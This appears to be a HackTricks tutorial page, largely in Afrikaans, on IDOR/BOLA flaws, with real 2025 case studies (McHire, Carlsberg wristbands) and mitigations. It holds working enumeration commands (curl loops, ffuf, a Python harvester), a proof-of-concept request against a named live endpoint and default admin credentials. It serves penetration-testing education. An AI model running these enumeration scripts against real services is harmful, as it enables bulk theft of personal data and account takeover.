IDOR (Insecure Direct Object Reference)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) verskyn wanneer ’n web- of API-endpoint ’n deur die gebruiker beheerbare identifiseerder openbaar maak of aanvaar wat direk gebruik word om toegang tot ’n interne objek te kry sonder om te verifieer dat die oproeper gemagtig is om daardie objek te toegang/wyzig. Suksesvolle uitbuiting laat gewoonlik horizontal of vertical privilege-escalation toe, soos die lees of wysig van ander gebruikers se data en, in die ergste geval, volledige rekening-oorneming of massiewe data-exfiltrasie.


1. Identifying Potential IDORs

  1. Soek na parameters wat na ’n objek verwys:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Gee voorkeur aan endpoints wat data lees of opdateer (GET, PUT, PATCH, DELETE).
  2. Let daarop wanneer identifiseerders opvolgend of voorspelbaar is – as jou ID 64185742 is, bestaan 64185741 waarskynlik.
  3. Verken verborge of alternatiewe vloei(e) (bv. “Paradox team members” skakel op login-bladsye) wat ekstra APIs kan openbaar.
  4. Gebruik ’n geauthentiseerde lae-bevoegdheidsessie en verander slegs die ID terwyl jy dieselfde token/cookie behou. Die afwesigheid van ’n autorisasiefout is gewoonlik ’n teken van IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Outomatiese enumerasie (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerering van voorspelbare download-ID’s (ffuf)

Geauthentiseerde lêer-hosting-panele stoor dikwels per-gebruiker metadata in ’n enkele files tabel en stel ’n download-endpoint soos /download.php?id=<int> bloot. As die handler slegs nagaan of die ID bestaan (en nie of dit aan die geauthentiseerde gebruiker behoort nie), kan jy die heelgetalruimte met jou geldige session cookie deursoek en ander tenants se backups/configs steel:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr verwyder 404-style templates sodat net werklike treffers oorbly (e.g., IDs 54/150 leaking full site backups and signing material).
  • Dieselfde FFUF workflow werk met Burp Intruder of ’n curl-loop—maak net seker jy bly geauthentiseer terwyl jy die IDs verhoog.

Fout-reaksie-orakel vir gebruiker/lêer-enumerasie

Wanneer ’n download endpoint beide ’n username en ’n filename aanvaar (e.g. /view.php?username=<u>&file=<f>), subtiele verskille in foutboodskappe skep dikwels ’n orakel:

  • Nie-bestaande username → “User not found”
  • Slegte filename maar geldige extension → “File does not exist” (sometimes also lists available files)
  • Slegte extension → validation error

Met enige geauthentiseerde sessie kan jy die username-parameter fuzz terwyl jy ’n onskadelike filename hou en filter op die “user not found” string om geldige gebruikers te ontdek:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Sodra geldige gebruikersname geïdentifiseer is, vra spesifieke lêers direk aan (bv., /view.php?username=amanda&file=privacy.odt). Hierdie patroon lei gewoonlik tot ongemagtigde openbaarmaking van ander gebruikers se dokumente en credential leakage.


2. Werklike Gevallestudie – McHire Chatbot Platform (2025)

Tydens ’n assessering van die Paradox.ai-powered McHire werwingsportaal is die volgende IDOR ontdek:

  • Eindpunt: PUT /api/lead/cem-xhr
  • Authorization: gebruikersessie-cookie vir enige restaurant-toetsrekening
  • Body-parameter: {"lead_id": N} – 8-syfer, opeenvolgende numeriese identifiseerder

Deur die lead_id te verlaag het die toetseerder ewekansige aansoekers se full PII (naam, e-pos, telefoon, adres, skofvoorkeure) plus ’n consumer JWT teruggehaal wat sessiekaping toegelaat het. Enumerasie van die reeks 1 – 64,185,742 het ongeveer 64 miljoen rekords blootgelê.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Gekombineer met default admin credentials (123456:123456) wat toegang tot die toetsrekening gegee het, het die kwesbaarheid in ’n kritieke, maatskappy-wye databreek gelei.

Gevallestudie – Polsband QR-kodes as weak bearer tokens (2025–2026)

Vloei: Uitstallingsbesoekers het QR-gekodeerde polsbandjies ontvang; deur te scan https://homeofcarlsberg.com/memories/ het die blaaier die gedrukte polsband-ID, hex-encode dit, en ’n cloudfunctions.net backend aangeroep om gestoor media (photos/videos + names) te haal. Daar was no session binding of user authentication—knowledge of the ID = authorization.

Voorspelbaarheid: Polsband-ID’s het ’n kort patroon gevolg soos C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Die ruimte is beraam op ~26M kombinasies, triviaal om aanlyn uit te put.

Eksploitasie-werkvloei met Burp Intruder:

  1. Payload generation: Bou kandidaat-ID’s (bv. [A-Z]-###-###). Gebruik ’n Burp Intruder Pitchfork of Cluster Bomb attack met posisies vir die letter en syfers. Voeg ’n payload processing rule → Add prefix/suffix → payload encoding: ASCII hex by sodat elke versoek die hex-string stuur wat die backend verwag.
  2. Response grep: Merk Intruder grep-match vir merkers wat slegs in geldige responsies voorkom (bv. media-URL’s/JSON-velde). Ongeldige ID’s het tipies ’n leë array/404 teruggegee.
  3. Throughput measurement: ~1,000,000 ID’s is in ~2 uur vanaf ’n laptop getoets (~139 req/s). Teen daardie tempo sou die volledige sleutelruimte (~26M) in ~52 uur val. Die voorbeeldrun het reeds ~500 geldige polsbandjies (video’s + volledige name) blootgestel.
  4. Rate-limiting verification: Nadat die vendor throttling beweer het, herhardloop dieselfde Intruder-konfigurasie. Identiese throughput/hit-rate het bewys dat die control afwesig/ineffektief was; enumerasie het ongemoeid voortgegaan.

Vinnige skrip-variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lesson: Encoding (ASCII→hex/Base64) does not add entropy; short IDs become bearer tokens that are enumerable despite cosmetic encoding. Without per-user authorization + high-entropy secrets, media/PII can be bulk-harvested even if “rate limiting” is claimed.


3. Impak van IDOR / BOLA

  • Horizontale eskalasie – lees/bewerk/verwyder ander gebruikers se data.
  • Vertikale eskalasie – ’n laaggeprivilegieerde gebruiker kry admin-only funksionaliteit.
  • Massiewe datalek as identifiseerders opvolgend is (bv., aansoeker-ID’s, fakture).
  • Rekeningoorneming deur tokens te steel of wagwoorde van ander gebruikers te reset.

4. Mitigations & Best Practices

  1. Enforce object-level authorization op elke versoek (user_id == session.user).
  2. Prefer indirect, unguessable identifiers (UUIDv4, ULID) instead of auto-increment IDs.
  3. Perform authorization server-side, never rely on hidden form fields or UI controls.
  4. Implement RBAC / ABAC checks in a central middleware.
  5. Add rate-limiting & logging to detect enumeration of IDs.
  6. Security test every new endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks